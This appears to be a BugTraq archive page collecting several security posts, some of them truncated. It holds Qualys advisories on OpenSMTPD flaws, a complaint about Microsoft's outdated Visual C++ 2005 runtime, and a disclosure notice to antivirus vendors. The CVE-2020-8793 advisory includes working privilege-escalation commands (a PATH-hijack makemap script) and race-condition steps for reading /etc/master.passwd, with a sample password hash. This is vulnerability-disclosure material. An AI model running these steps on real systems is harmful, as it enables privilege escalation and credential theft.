As we begin 2021, we wanted to send one last note to our friends and supporters at the SecurityFocus BugTraq mailing list. As many of you know, assets of Symantec were acquired by Broadcom in late 2019, and some of those assets were then acquired by Accenture in 2020 (https://newsroom.accenture.com/news/accenture-completes-acquisition-of-broadco ms-symantec-cyber-security- services-business.htm). SecurityFocus assets were included in this transition, and the mailing list has not been updated since the work to transition to Accenture began. The SecurityFocus assets, including the BugTraq mailing list, has a long history of providing timely information on the latest vulnerabilities, security vendor announcements, and exploit information. We are forever grateful to those who created, maintained, and contributed to the archive - many of us have connected and learned from each other through these lists. The history of the list and the sharing of the information has contributed to ensuring that we are building the information security community to be something stronger. Community contribution is one of the foundations to building a stronger Information Security force. At this time, resources for the BugTraq mailing list have not been prioritized, and this will be the last message to the list. The archive will be shut down January 31st, 2021. For similar information, please refer to some of the following links: https://www.defcon.org/html/links/mailing-lists.html https://seclists.org/fulldisclosure/ This is where the appropriate geek-like reference and farewell comes in, something like “So long, and thanks for all the fish”, but that seems too cavalier for this. So thank you, for your support, wisdom, and willingness to share – whether you are a contributor, reader, or lurker on the list. All of you have made a difference. Be well, and keep up the good work!

Acknowledgments ============================================================================== Summary ============================================================================== We discovered a vulnerability in OpenSMTPD, OpenBSD's mail server. This vulnerability, an out-of-bounds read introduced in December 2015 (commit 80c6a60c, "when peer outputs a multi-line response ..."), is exploitable remotely and leads to the execution of arbitrary shell commands: either as root, after May 2018 (commit a8e22235, "switch smtpd to new grammar"); or as any non-root user, before May 2018. Because this vulnerability resides in OpenSMTPD's client-side code (which delivers mail to remote SMTP servers), we must consider two different scenarios: - Client-side exploitation: This vulnerability is remotely exploitable in OpenSMTPD's (and hence OpenBSD's) default configuration. Although OpenSMTPD listens on localhost only, by default, it does accept mail from local users and delivers it to remote servers. If such a remote server is controlled by an attacker (either because it is malicious or compromised, or because of a man-in-the-middle, DNS, or BGP attack -- SMTP is not TLS-encrypted by default), then the attacker can execute arbitrary shell commands on the vulnerable OpenSMTPD installation. - Server-side exploitation: First, the attacker must connect to the OpenSMTPD server (which accepts external mail) and send a mail that creates a bounce. Next, when OpenSMTPD connects back to their mail server to deliver this bounce, the attacker can exploit OpenSMTPD's client-side vulnerability. Last, for their shell commands to be executed, the attacker must (to the best of our knowledge) crash OpenSMTPD and wait until it is restarted (either manually by an administrator, or automatically by a system update or reboot). We developed a simple exploit for this vulnerability and successfully tested it against OpenBSD 6.6 (the current release), OpenBSD 5.9 (the first vulnerable release), Debian 10 (stable), Debian 11 (testing), and Fedora 31. At OpenBSD's request, and to give OpenSMTPD's users a chance to patch their systems, we are withholding the exploitation details and code until Wednesday, February 26, 2020. Last-minute note: we tested our exploit against the recent changes in OpenSMTPD 6.6.3p1, and our results are: if the "mbox" method is used for local delivery (the default in OpenBSD -current), then arbitrary command execution as root is still possible; otherwise (if the "maildir" method is used, for example), arbitrary command execution as any non-root user is possible. ============================================================================== Analysis ============================================================================== SMTP clients connect to SMTP servers and send commands such as EHLO, MAIL FROM, and RCPT TO. SMTP servers respond with either single-line or multiple-line replies: - the first lines begin with a three-digit code and a hyphen ('-'), followed by an optional text (for example, "250-ENHANCEDSTATUSCODES"); - the last line begins with the same three-digit code, followed by an optional space (' ') and text (for example, "250 HELP"). In OpenSMTPD's client-side code, these multiline replies are parsed by the mta_io() function: ------------------------------------------------------------------------------ 1098 static void 1099 mta_io(struct io *io, int evt, void *arg) 1100 { .... 1133 case IO_DATAIN: 1134 nextline: 1135 line = io_getline(s->io, &len); .... 1146 if ((error = parse_smtp_response(line, len, &msg, &cont))) { ------------------------------------------------------------------------------ - the first lines (when line[3] == '-') are concatenated into a 2KB replybuf: ------------------------------------------------------------------------------ 1177 if (cont) { 1178 if (s->replybuf[0] == '') 1179 (void)strlcat(s->replybuf, line, sizeof s->replybuf); 1180 else { 1181 line = line + 4; .... 1187 (void)strlcat(s->replybuf, line, sizeof s->replybuf); 1188 } 1189 goto nextline; 1190 } ------------------------------------------------------------------------------ - the last line (when line[3] != '-') is also concatenated into replybuf: ------------------------------------------------------------------------------ 1195 if (s->replybuf[0] != '') { 1196 p = line + 4; .... 1201 if (strlcat(s->replybuf, p, sizeof s->replybuf) >= sizeof s->replybuf) ------------------------------------------------------------------------------ Unfortunately, if the last line's three-digit code is not followed by the optional space and text, then p (at line 1196) points to the first character *after* the line's '' terminator (which replaced the line's ' ' terminator in iobuf_getline()), and this out-of-bounds string is concatenated into replybuf (at line 1201). ... ============================================================================== Acknowledgments ============================================================================== We thank OpenBSD's developers for their quick response and patches. We also thank Gilles for his hard work and beautiful code.

Read More * LOCAL INFORMATION DISCLOSURE IN OPENSMTPD (CVE-2020-8793) MONDAY, FEBRUARY 24, 2020 01:35 PM | QSA QUALYS COM 0 REPLIES Qualys Security Advisory Local information disclosure in OpenSMTPD (CVE-2020-8793) ============================================================================== Contents ============================================================================== Summary Analysis Exploitation POKE 47196, 201 Acknowledgments ============================================================================== Summary ============================================================================== We discovered a minor vulnerability in OpenSMTPD, OpenBSD's mail server: an unprivileged local attacker can read the first line of an arbitrary file (for example, root's password hash in /etc/master.passwd) or the entire contents of another user's file (if this file and /var/spool/smtpd/ are on the same filesystem). We developed a proof of concept and successfully tested it against OpenBSD 6.6 (the current release). This vulnerability is generally not exploitable on Linux, because /proc/sys/fs/protected_hardlinks is 1 by default on most distributions. Surprisingly, however, it is exploitable on Fedora (31) and yields full root privileges. ============================================================================== Analysis ============================================================================== In October 2015 we published the results of an exhaustive OpenSMTPD audit (https://www.qualys.com/2015/10/02/opensmtpd-audit-report.txt); one of our key findings was: ------------------------------------------------------------------------------ Multiple hardlink attacks in the offline directory ... In the world-writable "/var/spool/smtpd/offline" directory, local users can create hardlinks to files they do not own, and wait until the server reboots (or, crash OpenSMTPD with a denial-of-service and wait until the administrator restarts it) to carry out assorted attacks. ... 2/ The following code in offline_enqueue() allows an attacker to execvp() "/usr/sbin/smtpctl" as "sendmail", with a command-line argument that is the hardlinked file's first line (CVE-2015-ABCD): ... For example, an attacker can hardlink /etc/master.passwd to the offline directory, and retrieve its first line (root's encrypted password) by running ps (or a small program that simply calls sysctl() with KERN_FILE_BYUID and KERN_PROC_ARGV) in a loop: ... 4/ If an attacker is able to reach another user's file (i.e., +x on all directories that lead to the file) but not read it, he can hardlink the file to the offline directory, and wait for savedeadletter() to create a world-readable copy of the file in this other user's home directory: ------------------------------------------------------------------------------ OpenBSD's patch for this vulnerability was threefold: a/ They removed the world-writable and sticky bits from /var/spool/smtpd/offline, changed its group to "_smtpq", and made /usr/sbin/smtpctl set-group-ID _smtpq: ------------------------------------------------------------------------------ drwxrwx--- 2 root _smtpq 512 Oct 12 10:34 /var/spool/smtpd/offline -r-xr-sr-x 1 root _smtpq 217736 Oct 12 10:34 /usr/sbin/smtpctl ------------------------------------------------------------------------------ b/ They added an _smtpq group check to offline_scan(): ------------------------------------------------------------------------------ 1543 /* offline file group must match parent directory group */ 1544 if (e->fts_statp->st_gid != e->fts_parent->fts_statp->st_gid) 1545 continue; .... 1553 if (offline_add(e->fts_name)) { 1554 log_warnx("warn: smtpd: " 1555 "could not add offline message %s", e->fts_name); 1556 continue; 1557 } ------------------------------------------------------------------------------ This check (at line 1544) effectively prevents offline_scan() from adding the filename of a hardlink to the offline queue (at line 1553), because no interesting file on the filesystem belongs to the group _smtpq. c/ They added a hardlink check to offline_enqueue() (at line 1631), which is called by offline_add(): ------------------------------------------------------------------------------ 1615 if ((fd = open(path, O_RDONLY|O_NOFOLLOW|O_NONBLOCK)) == -1) { 1616 log_warn("warn: smtpd: open: %s", path); 1617 _exit(1); 1618 } 1619 1620 if (fstat(fd, &sb) == -1) { 1621 log_warn("warn: smtpd: fstat: %s", path); 1622 _exit(1); 1623 } .... 1631 if (sb.st_nlink != 1) { 1632 log_warnx("warn: smtpd: file %s is hard-link", path); 1633 _exit(1); 1634 } ------------------------------------------------------------------------------ Unfortunately, a/ is vulnerable to a Local Privilege Escalation (into the group _smtpq), and b/ and c/ are vulnerable to TOCTOU (time-of-check to time-of-use) race conditions. As a result, a local attacker can still carry out the hardlink attacks 2/ (master.passwd) and 4/ (dead.letter) described in our 2015 audit report. ============================================================================== Exploitation ============================================================================== a/ If we execute /usr/sbin/smtpctl as "sendmail" or "send-mail", and specify a "-bi" command-line argument, then smtpctl calls execlp() without dropping its privileges: ------------------------------------------------------------------------------ 147 /* sendmail-compat makemap ... re-execute using proper interface */ 148 if (argc == 2) { ... 164 execlp("makemap", "makemap", "-d", argv[0], "-o", dbname, "-", 165 (char *)NULL); 166 err(1, "execlp"); 167 } ------------------------------------------------------------------------------ We can exploit this execlp() call by specifying our own PATH environment variable, and obtain the privileges of the group _smtpq: ------------------------------------------------------------------------------ $ id uid=1001(john) gid=1001(john) groups=1001(john) $ ln -s /usr/sbin/smtpctl "send-mail" $ cat > makemap << "EOF" #!/bin/ksh echo "$@" exec /usr/bin/env -i /bin/ksh EOF $ chmod 0755 makemap $ env -i PATH=. ./send-mail -- -bi dbname -d -bi -o dbname.db - $ id uid=1001(john) gid=1001(john) egid=103(_smtpq) groups=1001(john) ------------------------------------------------------------------------------ b/ The _smtpq group check is made only once in offline_scan(), but not again in offline_enqueue() (which actually open()s the offline files). Moreover, at most five offline files are processed concurrently; the remaining files are simply added to the offline queue for later processing. We can reliably win this first race condition: - we create several large but sparse files (1GB each) in the offline directory (these files naturally pass the _smtpq group check); - we SIGSTOP five of the offline_enqueue() processes that open() and slowly read() our large files; - we wait until offline_scan() adds all of our remaining files to the offline queue; - we replace these files with hardlinks to an interesting target file (for example, /etc/master.passwd); - we SIGKILL the five stopped offline_enqueue() processes. Finally, our hardlinks are processed by offline_enqueue(), and the _smtpq group check is defeated. c/ To defeat the hardlink check in offline_enqueue(), we create our hardlink before the open() call at line 1615 (this increases st_nlink to 2), and delete it before the fstat() call at line 1620 (this decreases st_nlink back to 1). In practice, we win this tight race condition after just a few tries: our proof of concept fork()s a dedicated process that simply calls link() and unlink() in a loop. Moreover, if our target file is /etc/master.passwd, we can defeat the hardlink check without a race: we hardlink /etc/master.passwd into the offline directory (this increases st_nlink to 2), we run /usr/bin/passwd or /usr/bin/chpass to generate a new /etc/master.passwd (this decreases st_nlink back to 1), and finally we SIGKILL the five stopped offline_enqueue() processes. ------------------------------------------------------------------------------ For example, to read the first line of /etc/master.passwd (root's password hash) with our proof of concept: - First, on the attacker's terminal: $ id uid=1001(john) gid=1001(john) egid=103(_smtpq) groups=1001(john) $ ./proof-of-concept 20 ... ready - Next, on the administrator's terminal: # rcctl restart smtpd smtpd(ok) smtpd(ok) - Last, on the attacker's terminal: ... root:$2b$10$xufPzZW36O2h2QmasLsjve8RyRQm0gu3mVX6IHE2nAYYD0Iw0gAnO:0:0:daemon:0:0:Charlie &:/root:/bin/ksh ------------------------------------------------------------------------------ To read the entire contents of another user's file (for example, /home/admin/deep.secret) with our proof of concept: - First, on the attacker's terminal: $ id uid=1001(john) gid=1001(john) egid=103(_smtpq) groups=1001(john) $ ls -l /home/admin/deep.secret ---------- 1 admin admin 125 Feb 15 00:52 /home/admin/deep.secret $ cat /home/admin/deep.secret cat: /home/admin/deep.secret: Permission denied $ ./proof-of-concept 100 /home/admin/deep.secret ... ready - Next, on the administrator's terminal: # rcctl restart smtpd smtpd(ok) smtpd(ok) - Last, on the attacker's terminal: ...

Among other components current versions of Windows and .NET Framework include C# compiler (C:WindowsMicrosoft.NETFrameworkv2.0.50727csc.exe, C:WindowsMicrosoft.NETFramework64v2.0.50727csc.exe) J# compiler (C:WindowsMicrosoft.NETFrameworkv2.0.50727jsc.exe, C:WindowsMicrosoft.NETFramework64v2.0.50727jsc.exe) VB# compiler (C:WindowsMicrosoft.NETFrameworkv2.0.50727vbc.exe, C:WindowsMicrosoft.NETFramework64v2.0.50727vbc.exe) resource converter (C:WindowsMicrosoft.NETFrameworkv2.0.50727cvtres.exe, C:WindowsMicrosoft.NETFramework64v2.0.50727cvtres.exe) IL assembler (C:WindowsMicrosoft.NETFrameworkv2.0.50727ilasm.exe, C:WindowsMicrosoft.NETFramework64v2.0.50727ilasm.exe) assembly linker (C:WindowsMicrosoft.NETFrameworkv2.0.50727al.exe) Microsoft builds (not just) these programs with Visual C 2005, an UNSUPPORTED product that reached its end-of-life on 2016-04-12: see <https://support.microsoft.com/en-us/lifecycle/search?alpha=Visual%20C%202005> Of course these programs are linked to the equally UNSUPPORTED Visual C 2005 runtime that also reached its end-of-life 2016-04-12, which Microsoft but nevertheless still dares to ship as side-by-side component: Windows 10 1909 C:WindowsWinSxSx86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9659_none_88dfc6bf2faefcc6MSVCR80.dll C:WindowsWinSxSamd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9659_none_88dfc6bf2faefcc6MSVCR80.dll Windows 7 SP1, with Microsoft Security Essentials installed C:WindowsWinSxSamd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6msvcm80.dll C:WindowsWinSxSamd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6msvcp80.dll C:WindowsWinSxSamd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6msvcr80.dll C:WindowsWinSxSx86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.42_none_db5f52fb98cb24admsvcm80.dll C:WindowsWinSxSx86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.42_none_db5f52fb98cb24admsvcp80.dll C:WindowsWinSxSx86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.42_none_db5f52fb98cb24admsvcr80.dll C:WindowsWinSxSx86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fcmsvcm80.dll C:WindowsWinSxSx86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fcmsvcp80.dll C:WindowsWinSxSx86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fcmsvcr80.dll The latest security update for the Visual C++ runtime was published 2011-06-04 and updated the version to 8.0.50727.6195: see <https://support.microsoft.com/en-us/help/2538242/ms11-025-description-of-the-security-update-for-visual-c-2005-sp1-redi> The FAQ section of <http://technet.microsoft.com/en-us/security/bulletin/ms11-025> says: | In the case where a system has no MFC applications currently installed | but does have the vulnerable Visual Studio or Visual C++ runtimes | installed, Microsoft recommends that users install this update as a | defense-in-depth measure, in case of an attack vector being introduced | or becoming known at a later time. Microsoft ships VULNERABLE components with .NET Framework and Windows, then recommends that their unsuspecting users update them, but fails to update their crap themselses! In other words: "quod licet jovi non licet bovi"! JFTR: another highlight (really: a BLATANT lie) from <http://technet.microsoft.com/en-us/security/bulletin/ms11-025> is: | Recommendation. The majority of customers have automatic updating enabled | and will not need to take any action because this security update will be | downloaded and installed automatically. NO, Windows Update does NOT update the OUTDATED and VULNERABLE Visual C++ runtime shipped with .NET Framework in Windows 7! The previous security update was published 2009-07-28 and updated the version to 8.0.50727.4053: see <https://support.microsoft.com/en-us/help/973544> plus <https://support.microsoft.com/en-gb/help/969706/ms09-035-vulnerabilities-in-visual-studio-active-template-libraries-co> Of course the statement from the FAQ section of MS11-025 holds for ATL applications (where MS09-035 should have an equivalent FAQ entry) and CRT applications too! Additionally see the MSKB article <https://support.microsoft.com/en-us/help/2977003/the-latest-supported-visual-c-downloads> which does NOT even list the MSVCRT 2005 any more! stay tuned, and FAR AWAY from untrustworthy and insecure software like .NET Framework and Windows 7 Stefan Kanthak PS: <https://msdn.microsoft.com/en-us/vstudio/bb188593.aspx> shows 2017-10-10 as EOL for the separate J# redistributable package.

Summary ========== Deviating from my Disclosure policy : Situations where the time it takes to discover a vulnerability is inferior to the time spend to coordinate it call for a new way to approach vulnerability coordination. I call it reverse coordination. As these are mostly low risk findings I personally do not have any issues with proceeding that way. 2. Description ============== Qihoo360, GDATA, Escan, Rising, Command, K7 Computing, Ahnlab, Dr. Web, Webroot 3. Coordination =============== Unless Qihoo, respectively GDATA, Escan, Rising, Command, K7 Computing, Ahnlab, Dr. Web, Webroot get into touch within the next 21 days, I will proceed to publish the vulnerabilities on this very list without any further communication attempt. Many attempts have been made.
